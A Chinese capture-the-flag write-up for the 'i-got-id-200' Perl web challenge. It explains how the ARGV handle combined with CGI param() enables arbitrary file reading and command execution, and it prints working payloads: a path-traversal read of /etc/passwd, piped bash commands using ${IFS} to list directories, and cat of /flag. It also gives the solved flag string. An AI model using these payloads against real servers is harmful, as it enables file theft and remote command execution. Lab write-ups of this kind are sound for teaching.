【愚公系列】2023年06月 攻防世界-Web(i-got-id-200)
文章目录
- 前言
- 一、i-got-id-200
- 1.题目
- 2.答题
前言
Perl 文件上传是一种使用Perl编程语言编写的文件上传脚本或程序,它可以将文件从本地计算机上传到 Web 服务器或远程服务器。 Perl 文件上传脚本通常由客户端和服务器端两个部分组成。客户端部分通常是一个HTML表单,用户可以使用它选择要上传的文件。服务器端部分是由Perl编写的脚本,它可以从客户端接收文件并将其保存到服务器上的指定位置。使用Perl文件上传脚本可以极大地简化文件上传的过程,提高效率和用户体验。
ARGV 是 Perl 中的一个内置变量,用于获取命令行参数。它可以接受从命令行传递过来的参数,并将它们传递给 Perl 脚本。然而,当不正确地使用 ARGV 变量时,可能会导致安全漏洞,例如任意文件读取和任意命令执行。
任意文件读取漏洞:
当 Perl 脚本中使用 ARGV 变量处理文件时,攻击者可以通过输入恶意构造的文件名来实现读取系统中任何文件的目的。例如:
perl script.pl ../../../etc/passwd
上面的命令将会读取读取系统的 /etc/passwd 文件。攻击者可以通过这种方式读取任何他有权限读取的文件。
任意命令执行漏洞:
当 Perl 脚本中使用 ARGV 变量处理命令行时,攻击者可以通过输入恶意构造的命令行参数来执行任意的系统命令。例如:
perl script.pl `ls -la`
上面的命令将会执行 ls -la 命令并返回结果。攻击者可以通过这种方式执行任何他有权限执行的命令。
如何避免 ARGV 安全漏洞:
为了避免 ARGV 安全漏洞,需要在使用 ARGV 变量之前,对命令行参数做必要的过滤和验证,确保只接受预期的参数。例如,可以使用 File::Basename 模块来获取文件名的基本名称,并且对于接下来使用的任何文件名必须进行检查、过滤和验证,确保只使用合法的文件名。
另外,还可以使用 Perl 的 taint mode(-T)来在脚本运行时自动检查所有从外部输入的数据,包括命令行参数和环境变量等。使用 taint mode 可以有效地防止应用程序受到攻击者的恶意输入,从而提高程序的安全性。
一、i-got-id-200
1.题目
2.答题
进入场景后有3个链接,点进去都是.pl文件,.pl文件都是用perl编写的网页文件。
尝试后发现,Files链接可以上传文件并把文件内容打印出来。猜想后台应该用了param()函数。
param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的接收变量中。如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。对正常的上传文件进行修改,可以达到读取任意文件的目的。
这里附上网上大佬们猜测的后台代码:
use strict;
use warnings;
use CGI;
my $cgi= CGI->new;
if ( $cgi->upload( 'file' ) ) { my $file= $cgi->param( 'file' );while ( <$file> ) { print "$_"; }
}
1、盲猜,flag在根目录下
得到flag:cyberpeace{a161fdc4a88432bf86a6fddaa1fe1e22}
2、正常流程解析
直接先读取file.pl文件,盲猜在/var/www/cgi-bin/file.pl试试
发现确实使用了param()函数,然后我们利用bash来进行读取当前目录下的文件。
payload为
?/bin/bash%20-c%20ls${IFS}/|
%20为空格,可换成+号
看了大佬的解释为
通过管道的方式,执行任意命令,然后将其输出结果用管道传输到读入流中,这样就可以保证获取到flag文件的位置了。这里用到了${IFS}来作命令分割,原理是会将结果变成bash -c "ls/"
的等价形式。
列出了当前目录下的内容,发现flag,直接读取。
3、直接执行
?ls%20-l%20/%20|
?/flag #直接读取/flag文件内容
或者
?cat%20/flag%20| #使用命令读取/flag文件内容
直接读取flag
【愚公系列】2023年06月 攻防世界-Web(i-got-id-200)相关推荐
- 【愚公系列】2023年06月 攻防世界-Web(wzsc_文件上传)
文章目录 前言 一.wzsc_文件上传 1.题目 2.答题 前言 文件上传漏洞(File Upload Vulnerability)是指攻击者通过某种方式绕过应用程序上传文件的安全检测机制,将恶意文件 ...
- 【愚公系列】2023年06月 攻防世界-Web(ez_curl)
文章目录 前言 一.ez_curl 1.题目 2.答题 前言 Express是一个流行的Node.js Web框架,它提供了许多有用的功能来构建Web应用程序.其中之一是参数解析,它允许开发者解析HT ...
- 【愚公系列】2023年06月 攻防世界-Web(babyweb)
文章目录 前言 1.SSRF 2.文件读取漏洞 一.babyweb 1.题目 2.答题 前言 1.SSRF SSRF(Server-Side Request Forgery,服务端请求伪造)是一种安全 ...
- 【愚公系列】2023年05月 攻防世界-Web(lottery)
文章目录 前言 一.lottery 1.题目 2.答题 前言 dirsearch是一个用于Web服务器的爬虫工具,它可以快速地扫描网站的目录,并找出隐藏的文件和目录.dirsearch可以检测出许多常 ...
- 【愚公系列】2023年05月 攻防世界-Web(unseping)
文章目录 前言 一.unseping 1.题目 2.答题 前言 反序列化漏洞是一种安全漏洞,存在于那些使用序列化技术的应用程序中.反序列化是将已序列化数据还原回对象的过程.攻击者可以通过构造恶意序列化 ...
- 【愚公系列】2023年05月 攻防世界-Web(shrine)
文章目录 前言 一.shrine 1.题目 2.答题 前言 Flask是一个轻量级的Web应用程序框架,用于Python编程语言.它是基于Werkzeug WSGI工具箱和Jinja2模板引擎构建的. ...
- 【愚公系列】2023年05月 攻防世界-Web(FlatScience)
文章目录 前言 一.FlatScience 1.题目 2.答题 前言 Robots协议,也称作robots.txt,是一种在Web站点中告诉搜索引擎蜘蛛哪些页面可以被访问的协议.该协议规定了机器人在访 ...
- 【愚公系列】2023年05月 攻防世界-Web(file_include)
文章目录 前言 1.文件包含漏洞 2.php伪协议 3.php包含漏洞函数 一.file_include 1.题目 2.答题 总结 前言 1.文件包含漏洞 文件包含漏洞(File Inclusion ...
- 【愚公系列】2023年05月 攻防世界-Web(Web_php_include)
文章目录 前言 1.文件包含漏洞 2.php伪协议 3.php包含漏洞函数 一.Web_php_include 1.题目 2.答题 2.1 伪协议解题 2.2 中国蚁剑 2.3 数据库写入 前言 1. ...
最新文章
- AngularJs的UI组件ui-Bootstrap分享(六)——Tabs
- RabbitMQ之消息确认机制(事务+Confirm)
- Spring-AOP 自动创建代理之DefaultAdvisorAutoProxyCreator
- 做过《战神》《死亡搁浅》的光子动捕专家,怎么理解动捕?
- 我在工作中是如何使用Git的
- 3-2Tensor的基本定义
- python_16(bootstrap)
- bat管理mstsc 远程桌面连接
- [iOS]学习笔记3(动态性)
- xcode6 怎样下载ios7模拟器
- python mock server_五、python MOCK SERVER
- python gps定位_GPS 测试汇总和python GPS 导航地图实现
- Windows程式开发设计指南--视窗和讯息
- 《SEM长尾搜索营销策略解密》一一2.11 向传统行业致敬
- VSCode使用04--C/C++开发环境的搭建(含googletest测试框架)
- dll注入失败原因总结
- Python-混合高斯分布(GMM)的应用及K-S检验
- 微信小程序支付以及退款功能(超详细)
- Apache Hive 2.1.1 安装配置超详细过程,配置hive、beeline、hwi、HCatalog、WebHCat等组件...
- Github挺好用的android图片选择框架(拍照+从相册)
热门文章
- 从CPU到GPU,Nvidia就这样成为AI时代的大赢家
- 【bug解决】Python运行显示报错--没有为项目配置Python解释器
- 一个 HTTP 打趴80%面试者
- 原生js实现常用的HTTP请求(GET、POST)
- Notion最实用使用教程
- python学习 —— 使用QRCode包生成二维码
- 动手撸一个SQL规范检查工具
- 用计算机的搞笑玩法,玩电脑必备:一些特殊符号的打法!
- springboot项目编写单元测试_SpringBoot项目单元测试(示例代码)
- javaweb二手商品供求网设计与实现(含论文下载)